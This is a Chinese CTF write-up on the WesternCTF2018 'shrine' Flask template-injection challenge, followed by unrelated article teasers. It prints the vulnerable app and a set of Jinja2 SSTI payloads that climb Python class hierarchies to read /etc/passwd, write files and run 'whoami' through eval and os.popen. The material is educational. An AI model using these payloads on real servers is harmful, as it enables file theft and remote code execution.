flask之ssti [WesternCTF2018]shrine1

news2024/11/16 0:03:21

打开题目

 整理一下,代码:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')

def index():
    return open(__file__).read()
           @app.route('/shrine/')

def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

    

知识点:

1.ssti的漏洞实质

  实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题

2.flask的一些特性

flask有两种渲染方式,render_template() 和 render_template_string()。

render_template()是渲染文件的,render_template_string是渲染字符串的

使用{ { }}作为变量包裹标识符;

快速查找该引用对应的位置:

''.__class__.__mro__[2].__subclasses__().index(file)

文件读写:

''.__class__.__mro__[2].__subclasses__()[40]

//读取文件

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']("/etc/passwd").read()

''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

将read()改为write()就可以进行写操作:

''.__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")

 

命令执行

1.利用eval进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

2.利用commands实现命令执行

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

直接将这些payload放入{ {}}中作为变量执行即可获得想要的结果

知识点参考文章:

关于flask的SSTI注入[通俗易懂]-腾讯云开发者社区-腾讯云

flask模板注入(ssti),一篇就够了_flask"+"ssti"+"总结-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1527363.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无人机三维建模过程中注意事项

无人机三维建模是指利用无人机技术进行三维建模,该方法通过无人机搭载的多种传感器,如摄像头、激光扫描仪等,获取建筑物的多角度影像数据,然后利用计算机视觉技术和三维重建算法,将这些影像数据转化为高精度的三维模型…

微服务技术栈SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式(五):分布式搜索 ES-下

文章目录 一、数据聚合1.1 聚合种类1.2 DSL实现聚合1.3 RestAPI实现聚合1.4 演示:多条件聚合 二、自动补全2.1 拼音分词器2.2 自定义分词器2.3 DSL自动补全查询2.5 实现酒店搜索框自动补全2.5.1 修改酒店索引库数据结构2.5.2 RestAPI实现自动补全查询2.5.3 实战 三、…

Docker部署Django项目——基础

1.服务器配置 1.1centos7 系统的安装 centos-7-isos-x86_64安装包下载) VMware安装自定义配置 选择对应的系统镜像 一般选择内核4核、内存8g、硬盘80g 相关配置 1.2.网络配置 1.2.1查看win电脑虚拟机VMnet8的ip 使用ipconfig查看虚拟机的ip 1.2.2配置虚拟机VMnet8的ip…

196基于matlab的计算器GUI可视化

基于matlab的计算器GUI可视化,具有加减乘除功能。可作为练习使用。程序已调通,可直接运行。 196 matlab GUI可视化 计算器 - 小红书 (xiaohongshu.com)

Flutter-数字切换动画

效果 需求 数字切换时新数字从上往下进入,上个数字从上往下出新数字进入时下落到位置并带有回弹效果上个数字及新输入切换时带有透明度和缩放动画 实现 主要采用AnimatedSwitcher实现需求,代码比较简单,直接撸 import dart:math;import p…

html-docx-js-typescript——将html生成docx文档

html-docx-js-typescript源码:GitHub - caiyexiang/html-docx-js-typescript: Convert HTML documents to docx format. html-docx-js地址:html-docx-js - npm *简单使用: 获取需要转为word文档的html节点,借助file-saver提供的…

MacBook远程桌面Windows使用Microsoft Remote Desktop for Mac_亲测使用

MacBook远程桌面Windows使用Microsoft Remote Desktop for Mac_亲测使用 像Windows上有自带的远程桌面连接软件.MacBook没有自带的远程连接Windows桌面的工具,需要安装软件来实现. 像远程桌面控制软件一般有 TeamViewer、向日葵远程控制, ToDesk, Microsoft Remote Desktop f…

Go语言gin框架中加载html/css/js等静态资源

Gin框架没有内置静态文件服务,但可以使用gin.Static或gin.StaticFS中间件来提供静态文件服务。 效果图如下: 一、gin 框架加载 Html 模板文件的方法 方式1:加载单个或多个html文件,需要指明具体文件名 r.LoadHTMLFiles("vie…

数字创新的引擎:探索Web3的前沿科技和商业模式

随着数字化时代的不断发展,Web3作为下一代互联网的重要组成部分,正逐渐成为数字创新的引擎。本文将深入探讨Web3的前沿科技和商业模式,揭示其在数字创新领域的重要作用和潜力。 1. 区块链技术的革命性 Web3的核心是区块链技术,它…

Flutter-自定义图片3D画廊

效果 需求 3D画廊效果 设计内容 StackGestureDetectorTransformPositioned数学三角函数 代码实现 具体代码大概300行 import dart:math;import package:flutter/material.dart; import package:flutter_xy/widgets/xy_app_bar.dart;import ../../r.dart;class ImageSwitc…

【活动】政府工作报告视角下的计算机行业发展前瞻与策略探讨

🌈个人主页: 鑫宝Code 🔥热门专栏: 闲话杂谈| 炫酷HTML | JavaScript基础 ​💫个人格言: "如无必要,勿增实体" 文章目录 引言正文计算机行业在政府工作报告中的定位与发展态势政策导向解析未来机遇展望…

【uniapp】表单验证不生效的解决方案

表单验证这个常见的功能&#xff0c;明明在element ui等框架已经用的很熟了&#xff0c;在uniapp开发时还是处处碰壁&#xff1f;这篇文章我会提示uni-forms表单验证的几个注意点&#xff0c;帮助大家排查。 示例 下面是一份包含普通验证和自定义验证的示例&#xff1a; <…

vsto excel 插件注册表属性值含义

在 VSTO (Visual Studio Tools for Office) 中&#xff0c;LoadBehavior 是用于指定 Office 插件加载行为的一个属性。具体含义如下&#xff1a; - LoadBehavior 0&#xff1a;此值表示插件已被禁用&#xff0c;将不会加载。 - LoadBehavior 1&#xff1a;此值表示插件将在 O…

Sentinel基础使用

1. 概念解释 限流&#xff1a;对并发访问进行限速。限流的一些行为&#xff1a; 1. 拒绝服务&#xff1a;将多余的请求直接拒绝掉2.服务降级&#xff1a;降级甚至关闭后台的某些服务3.特权请求&#xff1a;在多租户或者对用户进行分级时&#xff0c;考虑让特权用户进行访问4.延…

osgEarth学习笔记2-第一个Osg QT程序

原文链接 上个帖子介绍了osgEarth开发环境的安装。本帖介绍我的第一个Osg QT程序。 下载 https://github.com/openscenegraph/osgQt 解压&#xff0c;建立build目录。 使用Cmake-GUI Configure 根据需要选择win32或者x64&#xff0c;这里我使用win32. 可以看到include和lib路…

C语言数据结构与算法笔记(排序算法)

排序算法 基础排序 冒泡排序 核心为交换&#xff0c;通过不断进行交换&#xff0c;将大的元素一点一点往后移&#xff0c;每一轮最大的元素排到对应的位置上&#xff0c;形成有序。 设数组长度为N&#xff0c;过程为: 共进行N轮排序每一轮排序从数组的最左边开始&#xff0…

云原生(三)、Docker网络

Docker网络 在 Docker 中&#xff0c;不同容器之间的网络访问原理取决于容器所使用的网络模式。下面是 Docker 中常见的两种网络模式下容器间网络访问的原理&#xff1a; 桥接模式&#xff08;Bridge&#xff09;&#xff1a; 在桥接模式下&#xff0c;Docker 使用 Linux 桥接…

Vue3学习日记 Day4 —— pnpm,Eslint

注&#xff1a;此课程需要有Git的基础才能学习 一、pnpm包管理工具 1、使用原因 1.1、速度快&#xff0c;远胜过yarn和npm 1.2、节省磁盘空间 2、使用方式 2.1、安装方式 npm install -g pnpm 2.2、创建项目 pnpm create vue 二、Eslint配置代码风格 1、环境同步 1、禁用Pret…

Jenkins实现CICD(3)_Jenkins连接到git

文章目录 1、如何完成上述操作&#xff0c;并且不报如下错&#xff1a;2、连接不上git&#xff0c;操作如下&#xff1a;3、将上边产生的3个文件拷贝到&#xff1a;C:\Windows\System32\config\systemprofile\.ssh4、新建下图凭证&#xff1a;创建步骤&#xff1a; 5、公钥填到…

OpenCV 新版滴 4.5.1 发布啦!

发布亮点&#xff1a; OpenCV Github 项目终于突破50000 stars&#xff01;新的里程碑~ 这次发布的特性包括&#xff1a; 集成更多的GSoC 2020 项目的结果&#xff0c;包括&#xff1a; 开发了OpenCV.js DNN 模块&#xff0c;以方便再网页中使用&#xff0c;并提供了相关教…